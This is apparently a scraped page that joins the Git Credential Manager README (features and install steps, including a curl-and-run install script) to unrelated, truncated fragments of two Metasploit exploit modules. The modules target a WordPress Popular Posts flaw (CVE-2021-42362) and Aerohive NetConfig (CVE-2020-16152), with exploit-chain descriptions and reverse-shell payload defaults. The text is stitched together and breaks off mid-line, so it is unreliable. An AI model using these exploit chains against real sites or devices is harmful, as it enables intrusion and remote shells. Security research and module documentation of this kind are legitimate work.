X-TOOL-S / Crispy Winner# Git Credential Manager [](https://github.com/GitCredentialManager/git-credential-manager/actions/workflows/continuous-integration.yml) --- [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is a secure Git credential helper built on [.NET](https://dotnet.microsoft.com) that runs on Windows, macOS, and Linux. Compared to Git's [built-in credential helpers]((https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage)) (Windows: wincred, macOS: osxkeychain, Linux: gnome-keyring/libsecret) which provides single-factor authentication support working on any HTTP-enabled Git repository, GCM provides multi-factor authentication support for [Azure DevOps](https://dev.azure.com/), Azure DevOps Server (formerly Team Foundation Server), GitHub, Bitbucket, and GitLab. Git Credential Manager (GCM) replaces the .NET Framework-based [Git Credential Manager for Windows](https://github.com/microsoft/Git-Credential-Manager-for-Windows) (GCM), and the Java-based [Git Credential Manager for Mac and Linux](https://github.com/microsoft/Git-Credential-Manager-for-Mac-and-Linux) (Java GCM), providing a consistent authentication experience across all platforms. ## Current status Git Credential Manager is currently available for Windows, macOS, and Linux\*. GCM only works with HTTP(S) remotes; you can still use Git with SSH: - [Azure DevOps SSH](https://docs.microsoft.com/en-us/azure/devops/repos/git/use-ssh-keys-to-authenticate?view=azure-devops) - [GitHub SSH](https://help.github.com/en/articles/connecting-to-github-with-ssh) - [Bitbucket SSH](https://confluence.atlassian.com/bitbucket/ssh-keys-935365775.html) Feature|Windows|macOS|Linux -|:-:|:-:|:-: Installer/uninstaller|✓|✓|✓\* Secure platform credential storage|✓ [(see more)](docs/credstores.md)|✓ [(see more)](docs/credstores.md)|✓ [(see more)](docs/credstores.md) Multi-factor authentication support for Azure DevOps|✓|✓|✓ Two-factor authentication support for GitHub|✓|✓|✓ Two-factor authentication support for Bitbucket|✓|✓|✓ Two-factor authentication support for GitLab|✓|✓|✓ Windows Integrated Authentication (NTLM/Kerberos) support|✓|_N/A_|_N/A_ Basic HTTP authentication support|✓|✓|✓ Proxy support|✓|✓|✓ `amd64` support|✓|✓|✓ `x86` support|✓|_N/A_|✗ `arm64` support|best effort|via Rosetta 2|best effort, no packages `armhf` support|_N/A_|_N/A_|best effort, no packages (\*) GCM guarantees support for the below Linux distributions. GCM maintainers also monitor and evaluate issues opened against other distributions to determine community interest/engagement and whether an emerging platform should become fully-supported. - Debian/Ubuntu/Linux Mint - Fedora/CentOS/RHEL - Alpine ## Download and Install ### macOS Homebrew The preferred installation mechanism is using Homebrew; we offer a Cask in our custom Tap. To install, run the following: ```shell brew tap microsoft/git brew install --cask git-credential-manager-core ``` After installing you can stay up-to-date with new releases by running: ```shell brew upgrade git-credential-manager-core ``` #### Git Credential Manager for Mac and Linux (Java-based GCM) If you have an existing installation of the 'Java GCM' on macOS and you have installed this using Homebrew, this installation will be unlinked (`brew unlink git-credential-manager`) when GCM is installed. #### Uninstall To uninstall, run the following: ```shell brew uninstall --cask git-credential-manager-core ``` --- ### macOS Package We also provide a [.pkg installer](https://github.com/GitCredentialManager/git-credential-manager/releases/latest) with each release. To install, double-click the installation package and follow the instructions presented. #### Uninstall To uninstall, run the following: ```shell sudo /usr/local/share/gcm-core/uninstall.sh ``` --- <!-- this explicit anchor should stay stable so that external docs can link here --> <!-- markdownlint-disable-next-line no-inline-html --> <a name="linux-install-instructions"></a> ### Linux #### Experimental: install from source helper script If you would like to help dogfood our new install from source helper script, run the following: 1. To ensure `curl` is installed: ```shell curl --version ``` If `curl` is not installed, please use your distribution's package manager to install it. 1. To download and run the script: ```shell curl -LO https://raw.githubusercontent.com/GitCredentialManager/git-credential-manager/main/src/linux/Packaging.Linux/install-from-source.sh && sh ./install-from-source.sh && git-credential-manager-core configure ``` **Note:** You will be prompted to enter your credentials so that the script can download GCM's dependencies using your distribution's package manager. #### Ubuntu/Debian distributions Download the latest [.deb package](https://github.com/GitCredentialManager/git-credential-manager/releases/latest), and run the following: ```shell sudo dpkg -i <path-to-package> git-credential-manager-core configure ``` **Note:** Although packages were previously offered on certain [Microsoft Ubuntu package feeds](https://packages.microsoft.com/repos/), GCM no longer publishes to these repositories. Please install the Debian package using the above instructions instead. To uninstall: ```shell git-credential-manager-core unconfigure sudo dpkg -r gcmcore ``` #### Other distributions Download the latest [tarball](https://github.com/GitCredentialManager/git-credential-manager/releases/latest), and run the following: ```shell tar -xvf <path-to-tarball> -C /usr/local/bin git-credential-manager-core configure ``` To uninstall: ```shell git-credential-manager-core unconfigure rm $(command -v git-credential-manager-core) ``` **Note:** all Linux distributions [require additional configuration](https://aka.ms/gcm/credstores) to use GCM. --- ### Windows GCM is included with [Git for Windows](https://gitforwindows.org/), and the latest version is included in each new Git for Windows release. This is the preferred way to install GCM on Windows. During installation you will be asked to select a credential helper, with GCM being set as the default.  #### Standalone installation You can also download the [latest installer](https://github.com/GitCredentialManager/git-credential-manager/releases/latest) for Windows to install GCM standalone. **:warning: Important :warning:** Installing GCM as a standalone package on Windows will forcibly override the version of GCM that is bundled with Git for Windows, **even if the version bundled with Git for Windows is a later version**. There are two flavors of standalone installation on Windows: - User (preferred) (`gcmcoreuser-win*`): Does not require administrator rights. Will install only for the current user and updates only the current user's Git configuration. - System (`gcmcore-win*`): Requires administrator rights. Will install for all users on the system and update the system-wide Git configuration. To install, double-click the desired installation package and follow the instructions presented. #### Uninstall (Windows 10) To uninstall, open the Settings app and navigate to the Apps section. Select "Git Credential Manager" and click "Uninstall". #### Uninstall (Windows 7-8.1) To uninstall, open Control Panel and navigate to the Programs and Features screen. Select "Git Credential Manager" and click "Remove". #### Windows Subsystem for Linux (WSL) Git Credential Manager can be used with the [Windows Subsystem for Linux (WSL)](https://aka.ms/wsl) to enable secure authentication of your remote Git repositories from inside of WSL. [Please see the GCM on WSL docs](docs/wsl.md) for more information. ## Supported Git versions Git Credential Manager tries to be compatible with the broadest set of Git versions (within reason). However there are some know problematic releases of Git that are not compatible. - Git 1.x The initial major version of Git is not supported or tested with GCM. - Git 2.26.2 This version of Git introduced a breaking change with parsing credential configuration that GCM relies on. This issue was fixed in commit [`12294990`](https://github.com/git/git/commit/12294990c90e043862be9eb7eb22c3784b526340) of the Git project, and released in Git 2.27.0. ## How to use Once it's installed and configured, Git Credential Manager is called implicitly by Git. You don't have to do anything special, and GCM isn't intended to be called directly by the user. For example, when pushing (`git push`) to [Azure DevOps](https://dev.azure.com), [Bitbucket](https://bitbucket.org), or [GitHub](https://github.com), a window will automatically open and walk you through the sign-in process. (This process will look slightly different for each Git host, and even in some cases, whether you've connected to an on-premises or cloud-hosted Git host.) Later Git commands in the same repository will re-use existing credentials or tokens that GCM has stored for as long as they're valid.

The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server.

Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell.
